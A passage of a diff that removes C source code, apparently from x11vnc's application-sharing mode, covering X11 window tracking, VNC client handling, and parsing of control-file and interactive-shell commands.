-#endif
-}
-
-static Window get_parent(Window win) {
- int ok;
- Window r, parent = None, *list = NULL;
- unsigned int nchild;
-
-#if !NO_X11
- XErrorHandler old_handler = XSetErrorHandler(trap_xerror);
- ok = XQueryTree(dpy, win, &r, &parent, &list, &nchild);
- XSetErrorHandler(old_handler);
-
- if (!ok) {
- return None;
- }
- if (list) {
- XFree(list);
- }
-#endif
- return parent;
-}
-
-static int get_xy(Window win, int *x, int *y) {
- Window cr;
- Bool rc = False;
-#if !NO_X11
- XErrorHandler old_handler = XSetErrorHandler(trap_xerror);
-
- rc = XTranslateCoordinates(dpy, win, root, 0, 0, x, y, &cr);
- XSetErrorHandler(old_handler);
-#endif
-
- if (!rc) {
- return 0;
- } else {
- return 1;
- }
-}
-
-static Window check_inside(Window win) {
- int i, nwin = 0;
- int w, h, x, y;
- int Ws[WMAX], Hs[WMAX], Xs[WMAX], Ys[WMAX];
- Window wins[WMAX];
-
- if (!win_attr(win)) {
- return None;
- }
-
- /* store them first to give the win app more time to settle. */
- for (i=0; i < WMAX; i++) {
- int X, Y;
- Window wchk = watch[i];
- if (wchk == None) {
- continue;
- }
- if (state[i] == 0) {
- continue;
- }
- if (!win_attr(wchk)) {
- continue;
- }
- if (!get_xy(wchk, &X, &Y)) {
- continue;
- }
-
- Xs[nwin] = X;
- Ys[nwin] = Y;
- Ws[nwin] = attr.width;
- Hs[nwin] = attr.height;
- wins[nwin] = wchk;
- nwin++;
- }
-
- if (nwin == 0) {
- return None;
- }
-
- if (!win_attr(win)) {
- return None;
- }
- w = attr.width;
- h = attr.height;
-
- get_xy(win, &x, &y);
- if (!get_xy(win, &x, &y)) {
- return None;
- }
-
- for (i=0; i < nwin; i++) {
- int X, Y, W, H;
- Window wchk = wins[i];
- X = Xs[i];
- Y = Ys[i];
- W = Ws[i];
- H = Hs[i];
-
- if (appshare_debug) fprintf(stderr, "check inside: 0x%lx %dx%d+%d+%d %dx%d+%d+%d\n", wchk, w, h, x, y, W, H, X, Y);
-
- if (X <= x && Y <= y) {
- if (x + w <= X + W && y + h < Y + H) {
- return wchk;
- }
- }
- }
-
- return None;
-}
-
-static void add_win(Window win) {
- int idx = find_win(win);
- int free = find_win(None);
- if (idx >= 0) {
- if (appshare_debug) {fprintf(stderr, "already watching window: 0x%lx\n", win); ff();}
- return;
- }
- if (free < 0) {
- fprintf(stderr, "ran out of slots for window: 0x%lx\n", win); ff();
- return;
- }
-
- if (appshare_debug) {fprintf(stderr, "watching: 0x%lx at %d\n", win, free); ff();}
-
- watch[free] = win;
- state[free] = 0;
-
- win_select(win, 0);
-}
-
-static void delete_win(Window win) {
- int i;
- for (i=0; i < WMAX; i++) {
- if (watch[i] == win) {
- watch[i] = None;
- state[i] = 0;
- if (appshare_debug) {fprintf(stderr, "deleting: 0x%lx at %d\n", win, i); ff();}
- }
- }
-}
-
-static void recurse_search(int level, int level_max, Window top, Window app, int *nw) {
- Window w, r, parent, *list = NULL;
- unsigned int nchild;
- int ok = 0;
-
- if (appshare_debug > 1) {
- fprintf(stderr, "level: %d level_max: %d top: 0x%lx app: 0x%lx\n", level, level_max, top, app);
- }
- if (level >= level_max) {
- return;
- }
-
-#if !NO_X11
- ok = XQueryTree(dpy, top, &r, &parent, &list, &nchild);
- if (ok) {
- int i;
- for (i=0; i < (int) nchild; i++) {
- w = list[i];
- if (w == None || find_win(w) >= 0) {
- continue;
- }
- if (ours(w) && w != app) {
- if (appshare_debug) fprintf(stderr, "add level %d 0x%lx %d/%d\n",
- level, w, i, nchild);
- add_win(w);
- (*nw)++;
- }
- }
- for (i=0; i < (int) nchild; i++) {
- w = list[i];
- if (w == None || ours(w)) {
- continue;
- }
- recurse_search(level+1, level_max, w, app, nw);
- }
- }
- if (list) {
- XFree(list);
- }
-#endif
-}
-
-static void add_app(Window app) {
- int i, nw = 0, free = -1;
- XErrorHandler old_handler;
-
-#if !NO_X11
- i = find_app(app);
- if (i >= 0) {
- fprintf(stderr, "already tracking app: 0x%lx\n", app);
- return;
- }
- for (i=0; i < AMAX; i++) {
- if (same_app(apps[i], app)) {
- fprintf(stderr, "already tracking app: 0x%lx via 0x%lx\n", app, apps[i]);
- return;
- }
- }
- free = find_app(None);
- if (free < 0) {
- fprintf(stderr, "ran out of app slots.\n");
- return;
- }
- apps[free] = app;
-
- add_win(app);
-
- old_handler = XSetErrorHandler(trap_xerror);
- recurse_search(0, tree_depth, root, app, &nw);
- XSetErrorHandler(old_handler);
-#endif
- fprintf(stderr, "tracking %d windows related to app window 0x%lx\n", nw, app);
-}
-
-static void del_app(Window app) {
- int i;
- for (i=0; i < WMAX; i++) {
- Window win = watch[i];
- if (win != None) {
- if (same_app(app, win)) {
- destroy_win(win);
- }
- }
- }
- for (i=0; i < AMAX; i++) {
- Window app2 = apps[i];
- if (app2 != None) {
- if (same_app(app, app2)) {
- apps[i] = None;
- }
- }
- }
-}
-
-static void wait_until_empty(char *file) {
- double t = 0.0, dt = 0.05;
- while (t < 1.0) {
- struct stat sb;
- if (stat(file, &sb) != 0) {
- return;
- }
- if (sb.st_size == 0) {
- return;
- }
- t += dt;
- usleep( (int) (dt * 1000 * 1000) );
- }
-}
-
-static void client(char *client, int add) {
- DIR *dir;
- struct dirent *dp;
-
- if (!client) {
- return;
- }
- if (!trackdir) {
- fprintf(stderr, "no trackdir, cannot %s client: %s\n",
- add ? "add" : "disconnect", client);
- ff();
- return;
- }
- fprintf(stdout, "%s client: %s\n", add ? "adding " : "deleting", client);
-
- dir = opendir(trackdir);
- if (!dir) {
- fprintf(stderr, "could not opendir trackdir: %s\n", trackdir);
- return;
- }
- while ( (dp = readdir(dir)) != NULL) {
- char *name = dp->d_name;
- if (!strcmp(name, ".") || !strcmp(name, "..")) {
- continue;
- }
- if (strstr(name, "0x") != name) {
- continue;
- }
- if (strstr(name, ".connect")) {
- FILE *f;
- char *tmp;
- Window twin;
-
- if (scan_hexdec(name, &twin)) {
- int f = find_win(twin);
- if (appshare_debug) {
- fprintf(stderr, "twin: 0x%lx name=%s f=%d\n", twin, name, f);
- ff();
- }
- if (f < 0) {
- continue;
- }
- }
-
- tmp = (char *) calloc(100 + strlen(client), 1);
- sprintf(tracktmp, "%s/%s", trackdir, name);
- if (add) {
- sprintf(tmp, "%s\n", client);
- } else {
- sprintf(tmp, "cmd=close:%s\n", client);
- }
- wait_until_empty(tracktmp);
- f = fopen(tracktmp, "w");
- if (f) {
- if (appshare_debug) {
- fprintf(stderr, "%s client: %s + %s",
- add ? "add" : "disconnect", tracktmp, tmp);
- ff();
- }
- fprintf(f, "%s", tmp);
- fclose(f);
- }
- free(tmp);
- }
- }
- closedir(dir);
-}
-
-static void mapped(Window win) {
- int f;
- if (win == None) {
- return;
- }
- f = find_win(win);
- if (f < 0) {
- if (win_attr(win)) {
- if (get_parent(win) == root) {
- /* XXX more cases? */
- add_win(win);
- }
- }
- }
-}
-
-static void unmapped(Window win) {
- int f = find_win(win);
- if (f < 0 || win == None) {
- return;
- }
- stop(win);
- state[f] = 0;
-}
-
-static void destroy_win(Window win) {
- stop(win);
- delete_win(win);
-}
-
-static Window parse_win(char *str) {
- Window win = None;
- if (!str) {
- return None;
- }
- if (!strcmp(str, "pick") || !strcmp(str, "p")) {
- static double last_pick = 0.0;
- if (dnow() < start_time + 15) {
- ;
- } else if (dnow() < last_pick + 2) {
- return None;
- } else {
- last_pick = dnow();
- }
- if (!pick_windowid(&win)) {
- fprintf(stderr, "parse_win: bad window pick.\n");
- win = None;
- }
- if (win == root) {
- fprintf(stderr, "parse_win: ignoring pick of rootwin 0x%lx.\n", win);
- win = None;
- }
- ff();
- } else if (!scan_hexdec(str, &win)) {
- win = None;
- }
- return win;
-}
-
-static void add_or_del_app(char *str, int add) {
- Window win = parse_win(str);
-
- if (win != None) {
- if (add) {
- add_app(win);
- } else {
- del_app(win);
- }
- } else if (!strcmp(str, "all")) {
- if (!add) {
- int i;
- for (i=0; i < AMAX; i++) {
- if (apps[i] != None) {
- del_app(apps[i]);
- }
- }
- }
- }
-}
-
-static void add_or_del_win(char *str, int add) {
- Window win = parse_win(str);
-
- if (win != None) {
- int f = find_win(win);
- if (add) {
- if (f < 0 && win_attr(win)) {
- add_win(win);
- }
- } else {
- if (f >= 0) {
- destroy_win(win);
- }
- }
- } else if (!strcmp(str, "all")) {
- if (!add) {
- int i;
- for (i=0; i < WMAX; i++) {
- if (watch[i] != None) {
- destroy_win(watch[i]);
- }
- }
- }
- }
-}
-
-static void add_or_del_client(char *str, int add) {
- int i;
-
- if (!str) {
- return;
- }
- if (strcmp(control, "internal")) {
- return;
- }
- if (add) {
- int idx = find_client(str);
- int free = find_client(NULL);
-
- if (idx >=0) {
- fprintf(stderr, "already tracking client: %s in slot %d\n", str, idx);
- ff();
- return;
- }
- if (free < 0) {
- static int cnt = 0;
- if (cnt++ < 10) {
- fprintf(stderr, "ran out of client slots.\n");
- ff();
- }
- return;
- }
- clients[free] = strdup(str);
- client(str, 1);
- } else {
- if (str[0] == '#' || str[0] == '%') {
- if (sscanf(str+1, "%d", &i) == 1) {
- i--;
- if (0 <= i && i < CMAX) {
- if (clients[i] != NULL) {
- client(clients[i], 0);
- free(clients[i]);
- clients[i] = NULL;
- return;
- }
- }
- }
- } else if (!strcmp(str, "all")) {
- for (i=0; i < CMAX; i++) {
- if (clients[i] == NULL) {
- continue;
- }
- client(clients[i], 0);
- free(clients[i]);
- clients[i] = NULL;
- }
- return;
- }
-
- i = find_client(str);
- if (i >= 0) {
- free(clients[i]);
- clients[i] = NULL;
- client(str, 0);
- }
- }
-}
-
-static void restart_x11vnc(void) {
- int i, n = 0;
- Window win, active[WMAX];
- for (i=0; i < WMAX; i++) {
- win = watch[i];
- if (win == None) {
- continue;
- }
- if (state[i]) {
- active[n++] = win;
- stop(win);
- }
- }
- if (n) {
- usleep(1500 * 1000);
- }
- for (i=0; i < n; i++) {
- win = active[i];
- launch(win);
- }
-}
-
-static unsigned long cmask = 0x3fc00000; /* 00111111110000000000000000000000 */
-
-static void init_cmask(void) {
- /* dependent on the X server implementation; XmuClientWindow better? */
- /* xc/programs/Xserver/include/resource.h */
- int didit = 0, res_cnt = 29, client_bits = 8;
-
- if (getenv("X11VNC_APPSHARE_CLIENT_MASK")) {
- unsigned long cr;
- if (sscanf(getenv("X11VNC_APPSHARE_CLIENT_MASK"), "0x%lx", &cr) == 1) {
- cmask = cr;
- didit = 1;
- }
- } else if (getenv("X11VNC_APPSHARE_CLIENT_BITS")) {
- int cr = atoi(getenv("X11VNC_APPSHARE_CLIENT_BITS"));
- if (cr > 0) {
- client_bits = cr;
- }
- }
- if (!didit) {
- cmask = (((1 << client_bits) - 1) << (res_cnt-client_bits));
- }
- fprintf(stderr, "client_mask: 0x%08lx\n", cmask);
-}
-
-static int same_app(Window win, Window app) {
- if ( (win & cmask) == (app & cmask) ) {
- return 1;
- } else {
- return 0;
- }
-}
-
-static int ours(Window win) {
- int i;
- for (i=0; i < AMAX; i++) {
- if (apps[i] != None) {
- if (same_app(win, apps[i])) {
- return 1;
- }
- }
- }
- return 0;
-}
-
-static void list_clients(void) {
- int i, n = 0;
- for (i=0; i < CMAX; i++) {
- if (clients[i] == NULL) {
- continue;
- }
- fprintf(stdout, "client[%02d] %s\n", ++n, clients[i]);
- }
- fprintf(stdout, "total clients: %d\n", n);
- ff();
-}
-
-static void list_windows(void) {
- int i, n = 0;
- for (i=0; i < WMAX; i++) {
- char *name;
- Window win = watch[i];
- if (win == None) {
- continue;
- }
- get_wm_name(win, &name);
- fprintf(stdout, "window[%02d] 0x%08lx state: %d slot: %03d \"%s\"\n",
- ++n, win, state[i], i, name);
- free(name);
- }
- fprintf(stdout, "total windows: %d\n", n);
- ff();
-}
-
-static void list_apps(void) {
- int i, n = 0;
- for (i=0; i < AMAX; i++) {
- char *name;
- Window win = apps[i];
- if (win == None) {
- continue;
- }
- get_wm_name(win, &name);
- fprintf(stdout, "app[%02d] 0x%08lx state: %d slot: %03d \"%s\"\n",
- ++n, win, state[i], i, name);
- free(name);
- }
- fprintf(stdout, "total apps: %d\n", n);
- ff();
-}
-
-static int process_control(char *file, int check_clients) {
- int i, nnew = 0, seen[CMAX];
- char line[1024], *newctl[CMAX];
- FILE *f;
-
- f = fopen(file, "r");
- if (!f) {
- return 1;
- }
- if (check_clients) {
- for (i=0; i < CMAX; i++) {
- seen[i] = 0;
- }
- }
- while (fgets(line, sizeof(line), f) != NULL) {
- char *q = strchr(line, '\n');
- if (q) *q = '\0';
-
- if (appshare_debug) {
- fprintf(stderr, "check_control: %s\n", line);
- ff();
- }
-
- q = lblanks(line);
- if (q[0] == '#') {
- continue;
- }
- if (!strcmp(q, "")) {
- continue;
- }
- if (strstr(q, "cmd=") == q) {
- char *cmd = q + strlen("cmd=");
- if (!strcmp(cmd, "quit")) {
- if (strcmp(control, file) && strstr(file, ".cmd")) {
- FILE *f2 = fopen(file, "w");
- if (f2) fclose(f2);
- }
- appshare_cleanup(0);
- } else if (!strcmp(cmd, "wait")) {
- return 0;
- } else if (strstr(cmd, "bcast:") == cmd) {
- ;
- } else if (strstr(cmd, "del_window:") == cmd) {
- add_or_del_win(cmd + strlen("del_window:"), 0);
- } else if (strstr(cmd, "add_window:") == cmd) {
- add_or_del_win(cmd + strlen("add_window:"), 1);
- } else if (strstr(cmd, "del:") == cmd) {
- add_or_del_win(cmd + strlen("del:"), 0);
- } else if (strstr(cmd, "add:") == cmd) {
- add_or_del_win(cmd + strlen("add:"), 1);
- } else if (strstr(cmd, "del_client:") == cmd) {
- add_or_del_client(cmd + strlen("del_client:"), 0);
- } else if (strstr(cmd, "add_client:") == cmd) {
- add_or_del_client(cmd + strlen("add_client:"), 1);
- } else if (strstr(cmd, "-") == cmd) {
- add_or_del_client(cmd + strlen("-"), 0);
- } else if (strstr(cmd, "+") == cmd) {
- add_or_del_client(cmd + strlen("+"), 1);
- } else if (strstr(cmd, "del_app:") == cmd) {
- add_or_del_app(cmd + strlen("del_app:"), 0);
- } else if (strstr(cmd, "add_app:") == cmd) {
- add_or_del_app(cmd + strlen("add_app:"), 1);
- } else if (strstr(cmd, "debug:") == cmd) {
- appshare_debug = atoi(cmd + strlen("debug:"));
- } else if (strstr(cmd, "showmenus:") == cmd) {
- skip_menus = atoi(cmd + strlen("showmenus:"));
- skip_menus = !(skip_menus);
- } else if (strstr(cmd, "noexit:") == cmd) {
- exit_no_app_win = atoi(cmd + strlen("noexit:"));
- exit_no_app_win = !(exit_no_app_win);
- } else if (strstr(cmd, "use_forever:") == cmd) {
- use_forever = atoi(cmd + strlen("use_forever:"));
- } else if (strstr(cmd, "tree_depth:") == cmd) {
- tree_depth = atoi(cmd + strlen("tree_depth:"));
- } else if (strstr(cmd, "x11vnc_args:") == cmd) {
- x11vnc_args = strdup(cmd + strlen("x11vnc_args:"));
- } else if (strstr(cmd, "env:") == cmd) {
- putenv(cmd + strlen("env:"));
- } else if (strstr(cmd, "noop") == cmd) {
- ;
- } else if (!strcmp(cmd, "restart")) {
- restart_x11vnc();
- } else if (!strcmp(cmd, "list_clients") || !strcmp(cmd, "lc")) {
- list_clients();
- } else if (!strcmp(cmd, "list_windows") || !strcmp(cmd, "lw")) {
- list_windows();
- } else if (!strcmp(cmd, "list_apps") || !strcmp(cmd, "la")) {
- list_apps();
- } else if (!strcmp(cmd, "list_all") || !strcmp(cmd, "ls")) {
- list_windows();
- fprintf(stderr, "\n");
- list_apps();
- fprintf(stderr, "\n");
- list_clients();
- } else if (!strcmp(cmd, "print_logs") || !strcmp(cmd, "pl")) {
- print_logs();
- } else if (!strcmp(cmd, "?") || !strcmp(cmd, "h") || !strcmp(cmd, "help")) {
- fprintf(stderr, "available commands:\n");
- fprintf(stderr, "\n");
- fprintf(stderr, " quit restart noop x11vnc help ? ! !!\n");
- fprintf(stderr, "\n");
- fprintf(stderr, " add_window:win (add:win, add:pick)\n");
- fprintf(stderr, " del_window:win (del:win, del:pick, del:all)\n");
- fprintf(stderr, " add_app:win (add_app:pick)\n");
- fprintf(stderr, " del_app:win (del_app:pick, del_app:all)\n");
- fprintf(stderr, " add_client:host (+host)\n");
- fprintf(stderr, " del_client:host (-host, -all)\n");
- fprintf(stderr, "\n");
- fprintf(stderr, " list_windows (lw)\n");
- fprintf(stderr, " list_apps (la)\n");
- fprintf(stderr, " list_clients (lc)\n");
- fprintf(stderr, " list_all (ls)\n");
- fprintf(stderr, " print_logs (pl)\n");
- fprintf(stderr, "\n");
- fprintf(stderr, " debug:n showmenus:n noexit:n\n");
- } else {
- fprintf(stderr, "unrecognized %s\n", q);
- }
- continue;
- }
- if (check_clients) {
- int idx = find_client(q);
- if (idx >= 0) {
- seen[idx] = 1;
- } else {
- newctl[nnew++] = strdup(q);
- }
- }
- }
- fclose(f);
-
- if (check_clients) {
- for (i=0; i < CMAX; i++) {
- if (clients[i] == NULL) {
- continue;
- }
- if (!seen[i]) {
- client(clients[i], 0);
- free(clients[i]);
- clients[i] = NULL;
- }
- }
- for (i=0; i < nnew; i++) {
- int free = find_client(NULL);
- if (free < 0) {
- static int cnt = 0;
- if (cnt++ < 10) {
- fprintf(stderr, "ran out of client slots.\n");
- ff();
- break;
- }
- continue;
- }
- clients[free] = newctl[i];
- client(newctl[i], 1);
- }
- }
- return 1;
-}
-
-static int check_control(void) {
- static int last_size = -1;
- static time_t last_mtime = 0;
- struct stat sb;
- char *control_cmd;
-
- if (!control) {
- return 1;
- }
-
- if (!strcmp(control, "internal")) {
- return 1;
- }
-
- control_cmd = (char *)malloc(strlen(control) + strlen(".cmd") + 1);
- sprintf(control_cmd, "%s.cmd", control);
- if (stat(control_cmd, &sb) == 0) {
- FILE *f;
- if (sb.st_size > 0) {
- process_control(control_cmd, 0);
- }
- f = fopen(control_cmd, "w");
- if (f) {
- fclose(f);
- }
- }
- free(control_cmd);
-
- if (stat(control, &sb) != 0) {
- return 1;
- }
- if (last_size == (int) sb.st_size && last_mtime == sb.st_mtime) {
- return 1;
- }
- last_size = (int) sb.st_size;
- last_mtime = sb.st_mtime;
-
- return process_control(control, 1);
-}
-
-static void update(void) {
- int i, app_ok = 0;
- if (last_event_type != PropertyNotify) {
- if (appshare_debug) fprintf(stderr, "\nupdate ...\n");
- } else if (appshare_debug > 1) {
- fprintf(stderr, "update ... propertynotify\n");
- }
- if (!check_control()) {
- return;
- }
- for (i=0; i < WMAX; i++) {
- Window win = watch[i];
- if (win == None) {
- continue;
- }
- if (!win_attr(win)) {
- destroy_win(win);
- continue;
- }
- if (find_app(win) >= 0) {
- app_ok++;
- }
- if (state[i] == 0) {
- if (attr.map_state == IsViewable) {
- if (skip_menus) {
- Window inside = check_inside(win);
- if (inside != None) {
- if (appshare_debug) {fprintf(stderr, "skip_menus: window 0x%lx is inside of 0x%lx, not tracking it.\n", win, inside); ff();}
- delete_win(win);
- continue;
- }
- }
- launch(win);
- state[i] = 1;
- }
- } else if (state[i] == 1) {
- if (attr.map_state != IsViewable) {
- stop(win);
- state[i] = 0;
- }
- }
- }
- if (exit_no_app_win && !app_ok) {
- for (i=0; i < AMAX; i++) {
- if (apps[i] != None) {
- fprintf(stdout, "main application window is gone: 0x%lx\n", apps[i]);
- }
- }
- ff();
- appshare_cleanup(0);
- }
- if (last_event_type != PropertyNotify) {
- if (appshare_debug) {fprintf(stderr, "update done.\n"); ff();}
- }
-}
-
-static void exiter(char *msg, int rc) {
- fprintf(stderr, "%s", msg);
- ff();
- kill_helper_pid();
- exit(rc);
-}
-
-static void set_trackdir(void) {
- char tmp[256];
- struct stat sb;
- if (!strcmp(trackdir, "none")) {
- trackdir = NULL;
- return;
- }
- if (!strcmp(trackdir, "unset")) {
- int fd;
- sprintf(tmp, "%s.XXXXXX", trackpre);
- fd = mkstemp(tmp);
- if (fd < 0) {
- strcat(tmp, ": failed to create file.\n");
- exiter(tmp, 1);
- }
- /* XXX race */
- close(fd);
- unlink(tmp);
- if (mkdir(tmp, 0700) != 0) {
- strcat(tmp, ": failed to create dir.\n");
- exiter(tmp, 1);
- }
- trackdir = strdup(tmp);
- }
- if (stat(trackdir, &sb) != 0) {
- if (mkdir(trackdir, 0700) != 0) {
- exiter("could not make trackdir.\n", 1);
- }
- } else if (! S_ISDIR(sb.st_mode)) {
- exiter("trackdir not a directory.\n", 1);
- }
- tracktmp = (char *) calloc(1000 + strlen(trackdir), 1);
-}
-
-static void process_string(char *str) {
- FILE *f;
- char *file;
- if (trackdir) {
- sprintf(tracktmp, "%s/0xprop.cmd", trackdir);
- file = strdup(tracktmp);
- } else {
- char tmp[] = "/tmp/x11vnc-appshare.cmd.XXXXXX";
- int fd = mkstemp(tmp);
- if (fd < 0) {
- return;
- }
- file = strdup(tmp);
- close(fd);
- }
- f = fopen(file, "w");
- if (f) {
- fprintf(f, "%s", str);
- fclose(f);
- process_control(file, 0);
- }
- unlink(file);
- free(file);
-}
-
-static void handle_shell(void) {
- struct timeval tv;
- static char lastline[1000];
- static int first = 1;
- fd_set rfds;
- int fd0 = fileno(stdin);
-
- if (first) {
- memset(lastline, 0, sizeof(lastline));
- first = 0;
- }
-
- FD_ZERO(&rfds);
- FD_SET(fd0, &rfds);
- tv.tv_sec = 0;
- tv.tv_usec = 0;
- select(fd0+1, &rfds, NULL, NULL, &tv);
- if (FD_ISSET(fd0, &rfds)) {
- char line[1000], line2[1010];
- if (fgets(line, sizeof(line), stdin) != NULL) {
- char *str = lblanks(line);
- char *q = strrchr(str, '\n');
- if (q) *q = '\0';
- if (strcmp(str, "")) {
- if (!strcmp(str, "!!")) {
- sprintf(line, "%s", lastline);
- fprintf(stderr, "%s\n", line);
- str = line;
- }
- if (strstr(str, "!") == str) {
- system(str+1);
- } else if (!strcmp(str, "x11vnc") || !strcmp(str, "ps")) {
- char *cmd = "ps -elf | egrep 'PID|x11vnc' | grep -v egrep";
- fprintf(stderr, "%s\n", cmd);
- system(cmd);
- } else {
- sprintf(line2, "cmd=%s", str);
- process_string(line2);
- }
- sprintf(lastline, "%s", str);
- }
- }
- fprintf(stderr, "\n%s", prompt); ff();
- }
-}
-
-static void handle_prop_cmd(void) {
- char *value, *str, *done = "DONE";
-
- if (cmd_atom == None) {
- return;
- }
-
- value = get_xprop(cmd_atom_str, root);
- if (value == NULL) {
- return;
- }
-
- str = lblanks(value);
- if (!strcmp(str, done)) {
- free(value);
- return;
- }
- if (strstr(str, "cmd=quit") == str || strstr(str, "\ncmd=quit")) {
- set_xprop(cmd_atom_str, root, done);
- appshare_cleanup(0);
- }
-
- process_string(str);
-
- free(value);
- set_xprop(cmd_atom_str, root, done);
-}
-
-#define PREFIX if(appshare_debug) fprintf(stderr, " %8.2f 0x%08lx : ", dnow() - start, ev.xany.window);
-
-static void monitor(void) {
-#if !NO_X11
- XEvent ev;
- double start = dnow();
- int got_prop_cmd = 0;
-
- if (shell) {
- update();
- fprintf(stderr, "\n\n");
- process_string("cmd=help");
- fprintf(stderr, "\n%s", prompt); ff();
- }
-
- while (1) {
- int t;
-
- if (XEventsQueued(dpy, QueuedAlready) == 0) {
- update();
- if (got_prop_cmd) {
- handle_prop_cmd();
- }
- got_prop_cmd = 0;
- if (shell) {
- handle_shell();
- }
- }
-
- XNextEvent(dpy, &ev);
-
- last_event_type = ev.type;
-
- switch (ev.type) {
- case Expose:
- PREFIX
- if(appshare_debug) fprintf(stderr, "Expose %04dx%04d+%04d+%04d\n", ev.xexpose.width, ev.xexpose.height, ev.xexpose.x, ev.xexpose.y);
- break;
- case ConfigureNotify:
-#if 0
- PREFIX
- if(appshare_debug) fprintf(stderr, "ConfigureNotify %04dx%04d+%04d+%04d above: 0x%lx\n", ev.xconfigure.width, ev.xconfigure.height, ev.xconfigure.x, ev.xconfigure.y, ev.xconfigure.above);
-#endif
- break;
- case VisibilityNotify:
- PREFIX
- if (appshare_debug) {
- fprintf(stderr, "VisibilityNotify: ");
- t = ev.xvisibility.state;
- if (t == VisibilityFullyObscured) fprintf(stderr, "VisibilityFullyObscured\n");
- if (t == VisibilityPartiallyObscured) fprintf(stderr, "VisibilityPartiallyObscured\n");
- if (t == VisibilityUnobscured) fprintf(stderr, "VisibilityUnobscured\n");
- }
- break;
- case MapNotify:
- PREFIX
- if(appshare_debug) fprintf(stderr, "MapNotify win: 0x%lx\n", ev.xmap.window);
- if (ours(ev.xmap.window)) {
- mapped(ev.xmap.window);
- }
- break;
- case UnmapNotify:
- PREFIX
- if(appshare_debug) fprintf(stderr, "UnmapNotify win: 0x%lx\n", ev.xmap.window);
- if (ours(ev.xmap.window)) {
- unmapped(ev.xmap.window);
- }
- break;
- case MapRequest:
- PREFIX
- if(appshare_debug) fprintf(stderr, "MapRequest\n");
- break;
- case CreateNotify:
- PREFIX
- if(appshare_debug) fprintf(stderr, "CreateNotify parent: 0x%lx win: 0x%lx\n", ev.xcreatewindow.parent, ev.xcreatewindow.window);
- if (ev.xcreatewindow.parent == root && ours(ev.xcreatewindow.window)) {
- if (find_win(ev.xcreatewindow.window) >= 0) {
- destroy_win(ev.xcreatewindow.window);
- }
- add_win(ev.xcreatewindow.window);
- }
- break;
- case DestroyNotify:
- PREFIX
- if(appshare_debug) fprintf(stderr, "DestroyNotify win: 0x%lx\n", ev.xdestroywindow.window);
- if (ours(ev.xdestroywindow.window)) {
- destroy_win(ev.xdestroywindow.window);
- }
- break;
- case ConfigureRequest:
- PREFIX
- if(appshare_debug) fprintf(stderr, "ConfigureRequest\n");
- break;
- case CirculateRequest:
-#if 0
- PREFIX
- if(appshare_debug) fprintf(stderr, "CirculateRequest parent: 0x%lx win: 0x%lx\n", ev.xcirculaterequest.parent, ev.xcirculaterequest.window);
-#endif
- break;
- case CirculateNotify:
-#if 0
- PREFIX
- if(appshare_debug) fprintf(stderr, "CirculateNotify\n");
-#endif
- break;
- case PropertyNotify:
-#if 0
- PREFIX
- if(appshare_debug) fprintf(stderr, "PropertyNotify\n");
-#endif
- if (cmd_atom != None && ev.xproperty.atom == cmd_atom) {
- got_prop_cmd++;
- }
- break;
- case ReparentNotify:
- PREFIX
- if(appshare_debug) fprintf(stderr, "ReparentNotify parent: 0x%lx win: 0x%lx\n", ev.xreparent.parent, ev.xreparent.window);
- if (ours(ev.xreparent.window)) {
- if (ours(ev.xreparent.parent)) {
- destroy_win(ev.xreparent.window);
- } else if (ev.xreparent.parent == root) {
- /* ??? */
- }
- }
- break;
- default:
- PREFIX
- if(appshare_debug) fprintf(stderr, "Unknown: %d\n", ev.type);
- break;
- }
- }
-#endif
-}
-
-int appshare_main(int argc, char *argv[]) {
- int i;
- char *app_str = NULL;
- char *dpy_str = NULL;
- long xselectinput = 0;
-#if NO_X11
- exiter("not compiled with X11\n", 1);
-#else
- for (i=0; i < WMAX; i++) {
- watch[i] = None;
- state[i] = 0;
- }
- for (i=0; i < AMAX; i++) {
- apps[i] = None;
- }
- for (i=0; i < CMAX; i++) {
- clients[i] = NULL;
- }
-
- x11vnc = strdup(argv[0]);
-
- for (i=1; i < argc; i++) {
- int end = (i == argc-1) ? 1 : 0;
- char *s = argv[i];
- if (strstr(s, "--") == s) {
- s++;
- }
-
- if (!strcmp(s, "-h") || !strcmp(s, "-help")) {
- fprintf(stdout, "%s", usage);
- exit(0);
- } else if (!strcmp(s, "-id")) {
- id_opt = "-id";
- if (end) exiter("no -id value supplied\n", 1);
- app_str = strdup(argv[++i]);
- } else if (!strcmp(s, "-sid")) {
- id_opt = "-sid";
- if (end) exiter("no -sid value supplied\n", 1);
- app_str = strdup(argv[++i]);
- } else if (!strcmp(s, "-connect") || !strcmp(s, "-connect_or_exit") || !strcmp(s, "-coe")) {
- if (end) exiter("no -connect value supplied\n", 1);
- connect_to = strdup(argv[++i]);
- } else if (!strcmp(s, "-control")) {
- if (end) exiter("no -control value supplied\n", 1);
- control = strdup(argv[++i]);
- if (!strcmp(control, "shell")) {
- free(control);
- control = strdup("internal");
- shell = 1;
- }
- } else if (!strcmp(s, "-trackdir")) {
- if (end) exiter("no -trackdir value supplied\n", 1);
- trackdir = strdup(argv[++i]);
- } else if (!strcmp(s, "-display")) {
- if (end) exiter("no -display value supplied\n", 1);
- dpy_str = strdup(argv[++i]);
- set_env("DISPLAY", dpy_str);
- } else if (!strcmp(s, "-delay")) {
- if (end) exiter("no -delay value supplied\n", 1);
- helper_delay = atof(argv[++i]);
- } else if (!strcmp(s, "-args")) {
- if (end) exiter("no -args value supplied\n", 1);
- x11vnc_args = strdup(argv[++i]);
- } else if (!strcmp(s, "-env")) {
- if (end) exiter("no -env value supplied\n", 1);
- putenv(argv[++i]);
- } else if (!strcmp(s, "-debug")) {
- appshare_debug++;
- } else if (!strcmp(s, "-showmenus")) {
- skip_menus = 0;
- } else if (!strcmp(s, "-noexit")) {
- exit_no_app_win = 0;
- } else if (!strcmp(s, "-shell")) {
- shell = 1;
- } else if (!strcmp(s, "-nocmds") || !strcmp(s, "-safer")) {
- fprintf(stderr, "ignoring %s in -appshare mode.\n", s);
- } else if (!strcmp(s, "-appshare")) {
- ;
- } else {
- fprintf(stderr, "unrecognized 'x11vnc -appshare' option: %s\n", s);
- exiter("", 1);
- }
- }
-
- if (getenv("X11VNC_APPSHARE_DEBUG")) {
- appshare_debug = atoi(getenv("X11VNC_APPSHARE_DEBUG"));
- }
-
- /* let user override name for multiple instances: */
- if (getenv("X11VNC_APPSHARE_COMMAND_PROPNAME")) {
- cmd_atom_str = strdup(getenv("X11VNC_APPSHARE_COMMAND_PROPNAME"));
- }
- if (getenv("X11VNC_APPSHARE_TICKER_PROPNAME")) {
- ticker_atom_str = strdup(getenv("X11VNC_APPSHARE_TICKER_PROPNAME"));
- }
-
- if (shell) {
- if (!control || strcmp(control, "internal")) {
- exiter("mode -shell requires '-control internal'\n", 1);
- }
- }
-
